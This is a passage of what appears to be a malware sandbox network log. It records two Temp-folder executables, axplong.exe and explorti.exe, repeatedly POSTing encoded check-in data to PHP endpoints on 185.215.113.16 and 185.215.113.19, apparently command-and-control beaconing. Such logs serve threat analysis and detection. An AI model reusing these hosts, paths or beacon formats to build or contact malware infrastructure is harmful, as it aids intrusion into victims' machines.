Jul 27, 2024 09:26:13.832256079 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:14.080590963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49743	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:13.942257881 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:14.706186056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:14.706880093 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:14.958185911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49744	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:14.191741943 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:14.971240044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:14.982688904 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:15.234549999 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49745	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:15.098223925 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:15.870743990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:15.871805906 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:16.128674030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49746	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:15.349730968 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:16.091857910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:16.092612028 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:16.338356972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49747	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:16.244386911 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:17.029791117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:17.030527115 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:17.316845894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49748	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:16.478657007 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:17.316817999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:17.317775965 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:17.563400984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49750	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:17.442483902 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:18.193685055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:18.194371939 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:18.441854000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49752	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:17.935599089 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:18.684587002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:18.685336113 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:18.932502985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49753	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:18.551321030 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:19.294258118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:19.295206070 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:19.542181969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49754	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:19.052160978 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:19.816107035 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:19.817208052 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:20.091890097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49755	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:19.660443068 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:20.496843100 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:20.497756004 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:20.744707108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49756	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:20.207746029 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:20.955725908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:20.956414938 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:21.203723907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
